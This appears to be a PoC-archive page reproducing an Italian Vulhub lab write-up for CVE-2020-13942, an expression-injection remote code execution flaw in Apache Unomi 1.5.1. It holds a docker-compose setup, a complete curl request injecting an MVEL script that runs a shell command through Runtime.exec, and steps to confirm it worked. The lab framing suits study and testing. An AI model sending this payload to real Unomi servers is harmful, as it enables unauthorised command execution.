POC详情: 4577353326bafa631731bb7943d17e947be5dae2

来源
关联漏洞
标题: Apache Unomi 注入漏洞 (CVE-2020-13942)
描述:Apache Unomi是美国阿帕奇软件(Apache Software)基金会的一套开源的客户数据平台。该平台主要使用Java语言编写。 Apache Unomi 1.5.2之前版本存在注入漏洞,该漏洞源于可以将恶意的OGNL或MVEL脚本注入/context.json公共端点。
介绍
# CVE-2020-13942byVulHub
---
# Apache Unomi Expression Language Injection RCE (CVE-2020-13942)

## Descrizione
Questa vulnerabilità consente l'esecuzione di comandi arbitrari su sistemi che eseguono Apache Unomi versione 1.5.1, sfruttando l'iniezione del linguaggio di espressione MVEL.

### Pagina del progetto
[GitHub - Vulhub - Unomi CVE-2020-13942](https://github.com/vulhub/vulhub/tree/master/unomi/CVE-2020-13942)

---

## Configurazione dell'ambiente

### Docker Compose file (`docker-compose.yml`)
```yaml
version: '2'
services:
  web:
    image: vulhub/unomi:1.5.1
    ports:
      - "9443:9443"
      - "8181:8181"
    environment:
      - UNOMI_ELASTICSEARCH_ADDRESSES=elasticsearch:9200
    depends_on:
      - elasticsearch
  elasticsearch:
    image: elasticsearch:7.9.3
    environment:
      - cluster.name=contextElasticSearch
      - discovery.type=single-node
      - "ES_JAVA_OPTS=-Xms512m -Xmx512m"
      - bootstrap.memory_lock=true
```

### Avvio dei container
Esegui i container con il seguente comando:
```bash
docker compose up -d
```

---

## Esecuzione dell'exploit

### Comando da eseguire da Kali
Lanciare la seguente richiesta `POST` utilizzando `curl`:
```bash
curl -X POST http://localhost:8181/context.json \
     -H "Accept-Encoding: gzip, deflate" \
     -H "Accept: */*" \
     -H "Accept-Language: en" \
     -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36" \
     -H "Connection: close" \
     -H "Content-Type: application/json" \
     -d '{
    "filters": [
        {
            "id": "sample",
            "filters": [
                {
                    "condition": {
                         "parameterValues": {
                            "": "script::Runtime r = Runtime.getRuntime(); r.exec(\"touch /tmp/pluto\");"
                        },
                        "type": "profilePropertyCondition"
                    }
                }
            ]
        }
    ],
    "sessionId": "sample"
}'
```

---

## Verifica dell'exploit

### Accesso al container
Accedi al container per verificare la creazione del file:
```bash
docker exec -it af7de05fc47e ls /tmp
```

### Controllo del risultato
Verifica la presenza della cartella `pluto`:
```
hsperfdata_root  pluto
```

Se il file `pluto` è presente, significa che l'exploit è riuscito.

---

## Note di sicurezza
Questa vulnerabilità consente l'esecuzione di comandi arbitrari. Utilizza questi test solo in ambienti controllati e a scopo di studio o verifica. Sfruttare vulnerabilità in ambienti non autorizzati è illegale.
```

---
文件快照

[4.0K] /data/pocs/4577353326bafa631731bb7943d17e947be5dae2 └── [2.6K] README.md 0 directories, 1 file
神龙机器人已为您缓存
备注
    1. 建议优先通过来源进行访问。
    2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
    3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。